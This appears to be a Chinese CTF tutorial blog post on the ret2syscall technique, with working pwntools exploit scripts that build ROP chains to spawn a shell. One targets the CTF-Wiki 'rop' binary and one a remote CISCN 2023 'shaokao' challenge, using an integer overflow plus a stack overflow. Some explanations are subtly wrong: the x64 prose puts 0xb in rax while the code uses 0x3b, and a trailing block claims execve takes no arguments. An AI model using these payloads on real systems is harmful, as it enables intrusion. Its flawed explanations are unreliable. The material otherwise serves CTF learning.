ret2syscall

​ret2syscall,就是执行系统调用以达到getshell的目的
利用的情况:没有system并且开启了NX

系统调用,指 用户程序操作系统内核 请求需要更高权限运行的服务。系统调用提供用户程序与操作系统之间的接口。大多数系统交互式操作需求在内核态执行。如设备IO操作或者进程间通信。

系统调用通过中断命令调用,通过系统调用号来区分不同的系统函数。

系统调用表

一般 ret2syscall 中我们都是通过调用 execve 获取 shell。

用途:在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。

调用execve就相当于调用system,因为system函数在libc库中是通过调用execve来实现的。

它的调用过程是:

  1. 将系统调用的编号存入 ax;
  2. 函数参数存入其它通用寄存器;
  3. 触发中断。

这是通用过程,但是x86和x64下的中断命令和寄存器是不同同的,系统调用号也是不同的。

中断

  • x86:int 80
  • x64:syscall

寄存器

  • x86:eax
  • x64:rax

所以我们需要对症下药。

linux下查看系统调用号:

  • x86
cat /usr/include/asm/unistd_32.h 
  • x64
cat /usr/include/asm/unistd_64.h 

x86

原理

​Linux的32位系统的中断通过int 0x80实现。

调用系统调用的过程是:

  1. 把系统调用的编号存入eax。
  2. 第一个参数放入ebx
  3. 第二个参数放入ecx
  4. 第三个参数放入edx
  5. 触发int 0x80号中断。

调用execve:

execve("/bin/sh",NULL,NULL)
  • eax存放系统调用号
  • ebx存放/bin/sh地址
  • ecx置0
  • edx置0

​之后通过将eip指向int 0x80的地址触发中断。

​所以我们要找到pop eax指令的地址和pop ebx、pop ecx、pop edx的地址。最后找到一个ret将eip指向int 0x80。

利用ROPgadget搜索相应的gadget的地址。

例题

来自于CTF-Wiki:ret2syscall

checksec查保护,发现程序为32位开启了NX保护

在这里插入图片描述

ida打开分析

在这里插入图片描述

发现危险函数gets,很明显可以看出是一个栈溢出。

接下来我们寻找system函数,但是没有发现system函数。
在这里插入图片描述

在这里插入图片描述

调用execve获取shell。

execve("/bin/sh",NULL,NULL)

该程序是 32 位的,所以我们需要

  • 系统调用号,即eax应该为0xb。
  • 第一个参数,即当前ebx应该指向/bin/sh的地址,其实执行sh的地址也可以。
  • 第二个参数,即ecx应该为0
  • 第三个参数,即edx应该为0

所以我们需要通过gadget控制这些寄存器的值。

搜索程序gadget

控制eax的gadget

在这里插入图片描述

控制ebx的gadget

在这里插入图片描述

其中一段gadget可以控制三个传参寄存器

在这里插入图片描述

加上前面控制eax的gadget,我们已经控制了所有影响寄存器的gadget。

接下来寻找字符串和中断地址

/bin/sh字符串地址

在这里插入图片描述

触发中断的gadget
在这里插入图片描述

  1. pop_eax覆盖为eip,将栈顶的0xb弹入eax
  2. pop_edx_ecx_ebx将第一个0弹入edx,然后将第二个0弹入ecx,之后将/bin/sh字符串的地址弹入ebx。
  3. 最后,eip覆盖为int 0x80地址触发中断。

在这里插入图片描述

通过这些gadget根据程序逻辑构造exp。

exp

from pwn import *

io=process("./rop.rop")

pop_eax=0x080bb196
pop_edx_ecx_ebx=0x0806eb90
int_80=0x08049421
sh=0x080be408

payload=b'a'*112+p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(sh)+p32(int_80)

io.sendline(payload)

io.interactive()

x64

原理

​64位与32位不同,需要注意以下几点

  • execve系统调用号不同
    • 64位系统调用号为0x3b
  • 存放系统调用号的寄存器不同
    • 64位系统调用号存放在rax
  • 存储参数的寄存器不同
    • 64位存储参数的寄存器为:rdi,rsi,rdx,rcx,r8,r9
  • 中断不同
    • 32位为int 80,64位为syscall

例题

[CISCN 2023 初赛]烧烤摊儿

checksec查保护,发现存在栈溢出保护和地址随机化保护以及NX保护。

在这里插入图片描述

执行一下程序,发现是一个购买烧烤的程序

在这里插入图片描述

ida打开分析

程序可以选则购买啤酒和烤串这样会减少余额,而如果余额超过一定数量则可以承包摊位。

如果承包摊位后就可以选择给摊位重命名。

在这里插入图片描述

详细分析程序发现两处整数溢出漏洞,分别为购买啤酒和购买烤串。

这里只介绍第一处

购买啤酒的程序通过输入数字来选择购买的啤酒,并且通过数字来选择购买的数量。

如果购买啤酒的数量的金额超过余额则输出钱不够了。

如果余额足够,则从余额中减去金额。

但是程序没有限制输入正数还是负数,如果输入负数则判断条件仍然会正确,经过计算后余额还会增加。

所以我们可以通过这个漏洞来增加余额达到足以承包烧烤摊的标准。

在这里插入图片描述

当承包烧烤摊后,我们便可以给烧烤摊改名字。

而给烧烤摊改名字的函数中存在栈溢出漏洞。

虽然程序开启了栈溢出,但是函数中没有检查canary的值,所以就相当于没开启。

正常开启栈溢出的程序
通过readfsqword检查canary的值

在这里插入图片描述

并且输入没有限制,之后将输入的内容复制到表示烧烤摊名称的全局变量中。

在这里插入图片描述

我们可以通过改名输入/bin/sh到栈中,改名称的时候会将/bin/sh复制到全局变量。

这样我们就可以得到/bin/sh的地址。

并且在/bin/sh后面接上一共\x00字符串结束符,用于截取/bin/sh。

之后在其后拼接足够栈溢出的字符,通过栈溢出我们可以通过gadget实现系统调用。

  1. 程序返回执行pop_rax_rdx_rcx,将0xb弹入rax,将0弹入rdx,将0弹入rcx。
  2. pop_rdi将字符串地址弹入rdi。
  3. pop_rsi将0弹入rsi。
  4. 之后rip的值覆盖为syscall地址,触发中断。

在这里插入图片描述
exp

from pwn import *

#io=process("./shaokao")
io=remote("node4.anna.nssctf.cn",28662)

context.log_level="debug"

#触发整数溢出漏洞
io.sendline(b'1')
io.sendline(b'1')
io.sendline(b'-10000')
#承包烧烤摊并修改名称
io.sendline(b'4')
io.sendline(b'5')

#全局变量的地址
sh=0x4E60F0

pop_rax_rdx_rbx=0x00000000004a404a #: pop rax ; pop rdx ; pop rbx ; ret
pop_rdi=0x000000000040264f #: pop rdi ; ret
pop_rsi=0x000000000040a67e #: pop rsi ; ret
syscall=0x0000000000402404 #: syscall

#加上\x00这样在execve函数读取到/bin/sh之后就会截停
payload=b'/bin/sh\x00'+b'a'*0x20+p64(pop_rax_rdx_rbx)+p64(0x3b)+p64(0)+p64(0)+p64(pop_rdi)+p64(sh)+p64(pop_rsi)+p64(0)+p64(syscall)

io.sendline(payload)

io.interactive()

后言

参考链接:https://ctf-wiki.org/
参考链接:https://www.cnblogs.com/fuxuqiannian/p/16913836.html

  • 32
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ROP(Return-oriented Programming)是一种攻击技术,它利用程序的已有代码(即gadget)来构造攻击。在构造syscall调用execve的ROP时,我们需要找到一些适合我们需要的gadget,以及一个能够满足我们需求的内存区域来存储我们的ROP链。 以下是一个构造syscall调用execve的ROP的示例: ``` ; pop rax ; ret gadget pop_rax_ret: 0x000000000040089c ; pop rdi ; ret gadget pop_rdi_ret: 0x000000000040089e ; pop rsi ; ret gadget pop_rsi_ret: 0x00000000004008a0 ; pop rdx ; ret gadget pop_rdx_ret: 0x00000000004008a2 ; syscall gadget syscall: 0x00000000004005f6 ; address of "/bin/sh" string bin_sh: db '/bin/sh',0 rop: ; set rax to 0x3b (execve syscall number) pop rax ; ret 0x000000000040089c 0x3b ; set rdi to the address of "/bin/sh" string pop rdi ; ret 0x000000000040089e bin_sh ; set rsi to 0 pop rsi ; ret 0x00000000004008a0 0x0 ; set rdx to 0 pop rdx ; ret 0x00000000004008a2 0x0 ; syscall syscall ``` 在这个例子中,我们使用了以下gadgets: - pop rax ; ret:弹出栈顶元素到rax寄存器中; - pop rdi ; ret:弹出栈顶元素到rdi寄存器中; - pop rsi ; ret:弹出栈顶元素到rsi寄存器中; - pop rdx ; ret:弹出栈顶元素到rdx寄存器中; - syscall:执行系统调用。 我们的ROP链的第一步是将rax寄存器设置为execve系统调用的编号(0x3b)。接下来,我们将/bin/sh字符串的地址传递给rdi寄存器。然后,我们将rsi和rdx寄存器都设置为0,因为execve系统调用不需要任何参数。最后,我们使用syscall gadget来执行系统调用。 请注意,我们需要在内存中准备/bin/sh字符串,因为execve系统调用需要它。在这个例子中,我们将/bin/sh字符串存储在名为bin_sh的标签中。在实际攻击中,这个字符串可以存储在任何我们可以访问的内存区域中。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值